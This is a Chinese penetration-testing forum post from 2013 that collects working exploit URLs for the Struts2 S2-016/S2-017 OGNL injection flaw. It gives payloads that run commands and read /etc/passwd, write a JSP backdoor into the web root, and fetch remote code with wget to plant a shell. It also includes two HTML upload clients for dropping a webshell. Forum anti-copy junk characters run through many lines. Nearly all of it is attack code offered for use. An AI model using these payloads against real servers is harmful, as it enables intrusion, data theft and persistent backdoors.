中国网络渗透测试联盟

标题: Struts2 S2-016/S2-017漏洞执行代码 [打印本页]

作者: admin    时间: 2013-7-18 23:03
标题: Struts2 S2-016/S2-017漏洞执行代码
大家都发了,,我就整理了一下。友情提示,自己小命比shell重要哦。。
- J3 a# j& A, ^$ w, r; W
: a1 W) j3 z6 Q: y% W3 g4 q; j6 G喜欢就点一下感谢吧^_^! V: {5 _' l8 m

+ E$ r0 v" P. o% _带回显命令执行:- Z' e' @% t8 U8 r, y2 \  Q
& O6 F9 z' F8 G: t5 g  Y  j
http://www.example.com/struts2-blank/example/X.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}: K) [  J+ B- U
4 H, d9 P) t" ~) O( U# r
# V8 o6 O% Z& F$ s

5 G& |0 x* x0 J& n7 V- O
. }, M  I2 y! N( O6 N( `
' b$ F( R0 i2 w+ `1 p* r% M: ?! X: b. R4 t* f. w) Z
! W, V5 r) E, U4 z: N& p
爆路径:) {  s- p8 H- ~  r1 o5 I

; m4 W9 R3 Y7 C1 c8 qhttp://www.example.com/struts2-b ... 8%29.close%28%29%7D
8 |0 Y4 G* p& n- Y% {* E1 n+ u; P* M: V! i: j: J" m9 b
9 h1 d) O8 Y2 k: n

, M( x2 e+ _+ X
$ v$ O" g: A$ J% c* V
, t4 p1 k: A) y* Q3 @% j' Q写文件:6 P- S' B; Z+ `7 S" ^8 \; I4 K

2 T# C; \* V& y# chttp://www.example.com/struts2-blank/example/X.action?redirect:${
& Q3 n$ l; z  r& |% Z
7 E* g) b3 U# u& `% }%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
3 C" W. B' t) G+ D3 D# B# S6 Q, ]4 r1 W5 e/ E4 h4 x8 w: B' i+ V
%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"),. T. Y, T2 j* o  l" c" c

2 g# }/ v3 p1 d- ^" tnew+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()
; Q( ^9 K9 Z/ }- n( V# Y1 o9 J; m  c8 k/ y$ Z* Z1 H
}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
, ~" e' V" L. C' g+ B0 [, J4 D1 N3 Q7 M# }

- t" M# m3 Z: V* O. k$ P* f% I: ~! t+ _+ I( ?$ [
写入的文件内容:  |8 P, U! r, |9 t

4 Z3 C' X) I: Y/ k0 n1 i9 Z! t<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>      % g' O  d4 ^8 ~! m. P

9 f' x0 x! T: Z9 j: l1 s2 l, V/ U. B其实就是一个jsp的小马,需要客户端配合                                                                                  9 e: h+ A/ y) q# @+ G/ h

. v0 S) V! X3 h1 p# r函数f是文件名,t是内容9 u! U6 `' @# n$ D1 Z7 R

5 w% d5 D% P0 }. i( r) q" }8 k客户端:0 `; j5 \0 U& i9 K3 C! L7 F

( `5 N4 {$ s6 @<form action="http://www.example.com/struts2-blank/example/css3.jsp?f=fjp.jsp" method="post">$ Q% u- D# R, S7 |

8 ]; y. Q- T+ X' H0 t<textarea name=t cols=120 rows=10 width=45>your code</textarea>
) D2 t* a! h9 i- Q4 ^" G4 Y! z3 D/ i3 B1 C
<center>+ X) c8 c( O1 q
8 {5 @% N6 q0 }' @) E
& v0 x; w( u2 I/ t. k- v0 R

; L" m% A% y! q# y2 ?<input type=submit value="提交">
5 s) R! I, X! g: C$ [- [9 b" y' X+ }7 q- Y( P( X
</form>
$ k  o2 l9 J* K, C! _5 e2 |; g* q) V0 q3 F/ R% A: y3 N0 V8 ?
就在当前目录建立一个fjp.jsp
2 @/ \2 i% \" G  X* T7 F# ?
7 o- E) G/ _+ h; cshell:http://www.example.com/struts2-blank/example/fjp.jsp# @, d# r4 Q+ E  |
: E' L% o4 p: E# L7 `1 M
" C; H2 D. c! X; z6 J

/ t/ f' M4 x5 \! G# y, D7 J2 B1 W还有@园长的一个客户端:
7 u, G( W& i  u+ \/ l8 r" J# L  f) b* c+ X' i7 @9 ^2 {
<html>- S9 Z$ Y; [5 P# k
+ g2 ~  ?0 `0 {+ s7 o
<head>
3 n, J% B+ U: d6 E; M! Z* q7 ]
% `) K6 z9 B8 d$ B6 D( o<meta http-equiv="content-type" content="text/html;charset=utf-8">
, a$ T& n+ v( L
% @& b2 ], h- u<title>jsp-园长</title>
% X$ `. I9 m4 U* E$ z, Y5 m, q( j& _  r9 `2 C9 l7 P$ _) U
</head>5 l, P! ~/ X; w( d+ G. v% [; R' ~) {
8 I6 c( T% F+ V" ^7 s# Q
<style>
6 Z) r( ?. @+ I# C) z: y# j& `' p: h; ^" u  v
.main{width:980px;height:600px;margin:0 auto;}
$ l4 d7 Q: P& V$ K% h, h( ?! g, r. h  b, D  \* D' K
.url{width:300px;}- h9 T6 L' q. i7 @" V4 b+ T
/ r* ]; E8 h- v9 t/ o9 ^% F0 \) [! g
.fn{width:60px;}
- |/ T( D$ Y/ Z& s9 }8 i5 L5 O: F; p- A0 n
.content{width:80%;height:60%;}
$ |: z# ]4 J: \$ K1 }% ]3 v1 o) |4 s0 O/ A9 j
</style>
# ^0 Z% U" O, Q: `4 r, ^% v5 H  f3 r; @0 n8 w
<script>5 q7 [& Q8 a2 L

- h1 ~! L3 e- A  p' K  function upload(){, G5 a# \. l' P% q) h; b' ]

: U' s: A; \4 {9 v6 Q. J: ?+ M- R. N6 n' h    var url = document.getElementById('url').value,% R" W$ H9 l/ J
* j4 h" q& P8 U0 x6 f1 I% N$ X
      content = document.getElementById('content').value,* v: X; o/ _' T& N4 g
* l! g$ u. P# j( V- ~4 X8 X6 n
      fileName = document.getElementById('fn').value,3 Q" k" c! t3 y- E1 u1 `
( E# ~# g5 a- B+ l
      form = document.getElementById('fm');
; r2 ]4 r& o5 G* i5 z
4 ^, r. Y( o  |5 j6 d! Y2 O0 r    if(url.length == 0){
$ g4 ^) ], b# a
" b: o$ e7 Y5 |' V4 {5 m: H& k5 P      alert("Url not allowd empty!");
" m# V% {$ a" T* a& s7 i6 F# r$ f6 Y& |1 ?. ]
      return ;9 u( g/ N% A- |% W9 Y( i8 G

2 Q, `* u* Q$ [$ X0 c& _. x    }
7 E& p4 b# }; Q) }
+ r, T1 N9 Z0 f! t    if(content.length == 0){5 R; F7 f+ o' S8 R. m; }  b. D  \

9 M& H2 {9 u& g+ g% m. y- u7 X      alert("Content not allowd empty!");
  p  L: B4 I" S  d1 P9 H+ p$ v& U9 H4 M! J# e
      return ;
& O" m" g' k) i0 F1 N$ m2 ^5 h# G
    }6 W" M8 O$ q5 e% k* @) B. p( \

$ P5 S1 n* }9 U2 h2 u    if(fileName.length == 0){3 Y- L3 b* I) m1 T5 n5 d5 x7 D7 X
# H( U: K3 b" _+ C2 ^% ]8 V
      alert("FileName not allowd empty!");
1 \# C2 k, O+ Q1 `) s
( m2 v+ F6 h2 I3 Z# D0 L      return ;5 r" n' g6 I) }) z9 a" V
6 e" G: G' v6 Q7 e) e5 Q
    }
3 Z, Y: y+ i& r1 |* C. C3 J/ I1 `% T4 o7 e6 j
    form.action = url;  S7 F0 |" l; u7 @( |- b

4 `) }+ Y8 d$ b9 n2 m    form.submit();
- P8 V9 `. g! K) C+ e' Y7 u/ Y+ X" u& q8 u9 E2 s2 ]
  }+ _5 f, w0 t$ N$ m4 q+ [% T
6 `3 S. }8 g; }' R0 E1 j" R
</script># k* z8 S3 e1 i8 z3 _3 M: ?

& x+ C5 o5 W' M6 U$ u<body>5 I8 u2 V, |3 J% }

0 [# n4 y( p- K8 E<div class="main">
, {3 p8 T, E; D1 M& F* e5 R2 c- g' E% \5 u. e1 x5 P
  <form id="fm" method="post">  ! g' @" `5 a9 c8 E# P3 W, o
; E1 ]4 |5 I  o
    URL:<input type="text" value="http://localhost/Struts2/css3.jsp" class="url" id="url"/>  
& E9 P- ]# j, E2 ~  h5 a% x# k, O1 l0 _) @
    FileName:<input type="text" name="f" value="css.jsp" class="fn" id="fn" />  
, z7 c; F' u5 v8 p9 R/ L
# E. ]3 ^! H) ~* \1 @9 c5 P5 Z# x    <a href="javascript:upload();">Upload</a>8 p" ~% y' j! M: s- a) E
1 ?6 p: X: i: p" f
/ C! O0 y* z" q$ w1 v

$ O2 r" q5 n. d    <textarea id="content" class="content" name="t" ></textarea>
; V) M3 f+ q6 v1 U+ J
8 g1 ]" B* s6 r: f" R6 w3 t' Q  </form>
( M( \  M0 D, y4 D2 t7 M7 q, l% S" v# Z( s
</div>7 \6 b# {0 I2 o2 E
2 z0 Q6 ?! S0 w/ S5 L1 @! A* Z
</body>
- B% ?& S3 Q3 i- j( o, N5 v/ q8 x. V' o; q9 U
</html>
1 F3 a# J6 o2 Z( W
' E4 R1 x% R; Z1 R' A
4 Y, N, ?0 b, i1 b/ x3 _9 o$ S5 J1 V: ?! s1 P" G! _
还有@X发的一个wget的getshell& l0 v5 H$ B. c. Q5 e3 _: R
& g0 D. h( L9 L' ]  M& Q
?redirect{%23a%3d(new  java.lang.ProcessBuilder(new java.lang.String[]{'wget','http://www.url.com/xx.txt','- O','/root/1.jsp'}
  M. Q& g, f7 O% K: M
' H& e. f  \1 v# w/ Z3 ^0 h)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b), %23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e), %23piaoye%3d%23context.get ('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23piaoye.getWriter().println (%23e),%23piaoye.getWriter().flush(),%23piaoye.getWriter().close()}- U6 }9 y5 V! i# T3 X* a' Q9 }- u
复制代码




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2